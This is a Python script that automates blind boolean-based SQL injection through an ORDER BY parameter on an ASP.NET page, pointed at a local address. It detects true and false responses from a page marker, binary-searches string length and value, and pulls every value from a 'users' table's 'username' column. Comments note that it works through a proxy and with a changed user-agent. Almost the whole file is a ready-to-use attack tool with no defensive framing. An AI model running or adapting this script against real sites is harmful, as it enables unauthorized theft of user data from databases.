# based on http://practicaldev.blogspot.com/2009/05/python-30-ssl-over-proxy.html
import urllib.request
from urllib.error import  URLError, HTTPError
from urllib.parse import urlencode, urlsplit, parse_qsl, urlunsplit
from html.parser import HTMLParser, HTMLParseError
import sys
import math
from functools import reduce

baseAddr = 'http://127.0.0.1:62946/default.aspx?o=__INJECT__'
cols = ['CustomerID', 'Country']
isTrue = None 
extractTable = 'users'
extractColumn = 'username'
searchString = '<div id="bleh"><div>'
maxStringLength = 200
usePOST = True
reqAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 cast(' + extractColumn + ' as varbinary(255)) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ cast(\'__DATA__\' as varbinary(255)) then ' + cols[0] + ' else ' + cols[1] + ' end')
lenAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 datalength(cast(' + extractColumn + ' as varbinary(255))) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ __DATA__ then ' + cols[0] + ' else ' + cols[1] + ' end')
cmpAddr = baseAddr.replace('__INJECT__', 'case when cast(\'__A__\' as binary(1)) __OP__ cast(\'__B__\' as binary(1)) then ' + cols[0] + ' else ' + cols[1] + ' end')
doneAddr = baseAddr.replace('__INJECT__', 'case when (select count(*) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) = 0 then ' + cols[0] + ' else ' + cols[1] + ' end')
trueAddr = baseAddr.replace('__INJECT__', 'case when 1=1 then ' + cols[0] + ' else ' + cols[1] + ' end')

def urlParam(x):
   return str(x).replace("'", "''").replace('%', '%25').replace('&', '%26').replace('=', '%3d').replace('#', '%23').replace(';', '%3b').replace('+', '%2B').replace(' ', '%20').replace('"', '%22')

queries = 0
totalQueries = 0
def getResult(url):
   global queries
   global totalQueries
   global isTrue
   def doRequest(addr):
      f = None
      if usePOST:
         parts = urlsplit(addr)
         postParams = parse_qsl(parts.query)
         addr = urlunsplit((parts[0], parts[1], parts[2], '', ''))
         f = urllib.request.FancyURLopener().open(addr, urlencode(postParams))
         #print(addr, urlencode(postParams))
      else:
         f = urllib.request.FancyURLopener().open(addr)
         #print(addr)
      s = str(f.read())
      return s[s.index(searchString)+len(searchString)]
   if isTrue == None: # initialize
      isTrue = doRequest(trueAddr)
      print('Set TRUE value to {0}'.format(isTrue))
   #print('returned: {0}'.format(s[pos]))
   queries += 1
   totalQueries += 1
   return doRequest(url) == isTrue

def isLessThan(a, b):
   url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '<');
   return getResult(url)

def isGreaterThan(a, b):
   url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '>');
   return getResult(url)

def sqlCmp(a, b):
   if isLessThan(a,b):
      return -1
   if isGreaterThan(a, b):
      return 1
   return 0

calls = 0
def cmp2key(mycmp):
   class K:
      def __init__(self, obj, *args):
         self.obj = obj
      def __lt__(self, other):
         global calls
         calls += 1
         return isLessThan(self.obj, other.obj)
   return K

alphabet = '\0 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%\'()*+,-./:;=>?@[\\]^_`{|}~'
base = list(alphabet)
base.sort(key=cmp2key(sqlCmp))
print("Got alphabet {0} (len = {1}) in {2} calls".format(base, len(base), calls))
basemap = dict(zip(base, range(0,len(base))))
baselen = len(base)

def numToString(num):
    ret = ''
    while True:
        ret = base[num % baselen] + ret
        num = num // baselen
        if num == 0:
           break
    return ret.lstrip(base[0])

def stringToNum(s):
    a = list(s)
    a.reverse()
    ret = 0
    for x in range(0, len(a)):
        ret += basemap[a[x]]*(baselen**x)
    return ret

def bSearch(compareFuncs):
   global queries
   queries = 0
   def bSearchReal(compareFunc, low, high, transform, count=1):
       if high < low:
           return (None, 0)
       mid = low + ((high - low) // 2)
       print('Mid = "{0}" ({1})'.format(transform(mid), mid))
       #print('H = "{0}", L = "{1}"'.format(transform(high), transform(low)))
       result = compareFunc(transform(mid))
       if result > 0:
           return bSearchReal(compareFunc, low, mid-1, transform, count+1)
       elif result < 0:
           return bSearchReal(compareFunc, mid+1, high, transform, count+1)
       else:
           return (transform(mid), 0)
   # get the length of the string first
   length = bSearchReal(compareFuncs[0], 0, maxStringLength, lambda x: x)[0]
   #print(length)
   result = bSearchReal(compareFuncs[1], stringToNum(base[0]*length), stringToNum(base[-1]*length), numToString)
   if result[0] == None:
      return '[failed!]'
   cmpMap = reduce(lambda x,y:x+y, map(lambda x: base.index(x)+1, result[0]))+1
   print('Queries required: {0} for {1} (vs. {2})'.format(queries, result[0], cmpMap))
   return result

# Q: can it go through a proxy? A: Yes.
# Q: can you modify the user-agent? A: Yes.

def seenList(seen):
   s = "''"
   for x in seen:
      s += ",'" + urlParam(x) + "'"
   return s

def makeComparisonFuncs(seen):
   def comparer(addr):
      def pageComparer(candidate):
         url = addr.replace('__DATA__', urlParam(candidate)).replace('__SEEN__', seenList(seen))
         #print(url)
         if getResult(url.replace('__OP__', '<')):
            return 1
         if getResult(url.replace('__OP__', '>')):
            return -1
         return 0
      return pageComparer
   return (comparer(lenAddr), comparer(reqAddr))

if __name__ == '__main__':
   seen = []
   while not getResult(doneAddr.replace('__SEEN__', seenList(seen))):
      result = bSearch(makeComparisonFuncs(seen))
      seen.append(result[0])
   print(seen)
